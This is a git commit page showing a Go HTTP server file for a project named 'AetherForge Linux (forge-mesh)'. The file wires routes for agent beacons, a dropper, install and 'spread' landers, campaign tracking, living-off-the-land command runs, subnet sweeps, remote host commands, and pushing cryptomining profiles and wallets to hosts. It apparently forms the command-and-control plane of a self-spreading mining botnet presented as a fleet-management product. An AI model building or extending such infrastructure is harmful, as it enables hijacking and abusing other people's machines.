Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev
Some checks failed
Test / test (push) Has been cancelled
Some checks failed
Test / test (push) Has been cancelled
This commit is contained in:
256
internal/api/server.go
Normal file
256
internal/api/server.go
Normal file
@@ -0,0 +1,256 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"io"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/api/handlers"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/court"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// Server is the forge-mesh HTTP control plane.
|
||||
type Server struct {
|
||||
cfg *config.Config
|
||||
mux http.Handler
|
||||
staticFS fs.FS
|
||||
}
|
||||
|
||||
// NewServer wires routes, fleet hub, and static SPA handler.
|
||||
func NewServer(
|
||||
cfg *config.Config,
|
||||
db *sql.DB,
|
||||
staticFS fs.FS,
|
||||
version, installTmplPath, publicKeyHex string,
|
||||
) (*Server, error) {
|
||||
store := fleet.NewStore(db)
|
||||
_ = store.SeedDemoHost()
|
||||
|
||||
tickets := auth.NewTicketStore(5 * time.Minute)
|
||||
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
|
||||
crucible := fleet.NewCrucibleStore(100)
|
||||
|
||||
tgCfg := alerts.Config{
|
||||
Enabled: cfg.Telegram.Enabled,
|
||||
BotToken: cfg.Telegram.BotToken,
|
||||
ChatID: cfg.Telegram.ChatID,
|
||||
}
|
||||
notifier := alerts.New(tgCfg)
|
||||
|
||||
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
public.FleetSecret = cfg.Auth.FleetSecret
|
||||
public.Version = version
|
||||
|
||||
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
|
||||
filepath.Join("cmd", "agent"), version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
clearance := cfg.OperatorClearance
|
||||
fleetH := &handlers.FleetHandler{
|
||||
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
|
||||
}
|
||||
crucibleH := &handlers.CrucibleHandler{
|
||||
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
|
||||
}
|
||||
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
|
||||
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
|
||||
seerH := &handlers.SeerHandler{
|
||||
Store: store,
|
||||
Username: cfg.Auth.BasicUsername,
|
||||
Password: cfg.Auth.BasicPassword,
|
||||
}
|
||||
authH := &handlers.AuthHandlers{Tickets: tickets}
|
||||
opH := &handlers.OperatorHandler{Clearance: clearance}
|
||||
dropperH := &handlers.DropperHandler{
|
||||
DB: db,
|
||||
PublicKeyHex: publicKeyHex,
|
||||
FleetSecret: cfg.Auth.FleetSecret,
|
||||
Version: version,
|
||||
}
|
||||
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
|
||||
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
|
||||
warRoomH := &handlers.WarRoomHandler{DB: db}
|
||||
wgH := &handlers.WireGuardHandler{DB: db}
|
||||
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
|
||||
|
||||
courtSvc := court.New(db, cfg.Court, store)
|
||||
intelDeps := handlers.IntelligenceDeps{
|
||||
Store: store,
|
||||
Subnet: &fleet.SubnetMapper{Store: store},
|
||||
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
|
||||
}
|
||||
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// Public
|
||||
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
|
||||
mux.HandleFunc("GET /install.sh", public.InstallSh)
|
||||
mux.HandleFunc("GET /get", public.GetRedirect)
|
||||
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
|
||||
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
|
||||
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
|
||||
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
|
||||
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
|
||||
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
|
||||
|
||||
// Agent (fleet secret)
|
||||
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(hub.HandleBeacon(store))))
|
||||
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
|
||||
http.HandlerFunc(fleetH.Register)))
|
||||
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
|
||||
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Query().Get("ticket") != "" {
|
||||
hub.HandleDeckWS(w, r)
|
||||
return
|
||||
}
|
||||
hub.HandleAgentWS(w, r)
|
||||
})
|
||||
|
||||
// Protected (Basic auth)
|
||||
protected := http.NewServeMux()
|
||||
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
|
||||
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
|
||||
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
|
||||
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
|
||||
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
|
||||
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
|
||||
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
|
||||
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
|
||||
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
|
||||
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
|
||||
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
|
||||
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
|
||||
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
|
||||
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
|
||||
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
|
||||
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
|
||||
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
|
||||
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
|
||||
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
|
||||
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
|
||||
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
|
||||
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
|
||||
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
|
||||
protected.HandleFunc("GET /seer", seerH.Stream)
|
||||
|
||||
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
|
||||
mux.Handle("/api/v1/", authWrap(protected))
|
||||
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
|
||||
|
||||
// Static SPA (React build embedded in webroot)
|
||||
if staticFS != nil {
|
||||
fileServer := http.FileServer(http.FS(staticFS))
|
||||
mux.Handle("/", spaFallback(staticFS, fileServer))
|
||||
}
|
||||
|
||||
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
|
||||
}
|
||||
|
||||
func (s *Server) Handler() http.Handler {
|
||||
return s.mux
|
||||
}
|
||||
|
||||
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
path := strings.TrimPrefix(r.URL.Path, "/")
|
||||
if path == "" {
|
||||
path = "index.html"
|
||||
}
|
||||
|
||||
if _, err := fs.Stat(staticFS, path); err != nil {
|
||||
// Client-side route — serve index.html
|
||||
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Write(data)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
|
||||
func SyncWebroot(distDir, webrootDir string) error {
|
||||
if err := os.RemoveAll(webrootDir); err != nil {
|
||||
return err
|
||||
}
|
||||
return copyDir(distDir, webrootDir)
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(src, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
target := filepath.Join(dst, rel)
|
||||
if info.IsDir() {
|
||||
return os.MkdirAll(target, 0o755)
|
||||
}
|
||||
return copyFile(path, target)
|
||||
})
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
Reference in New Issue
Block a user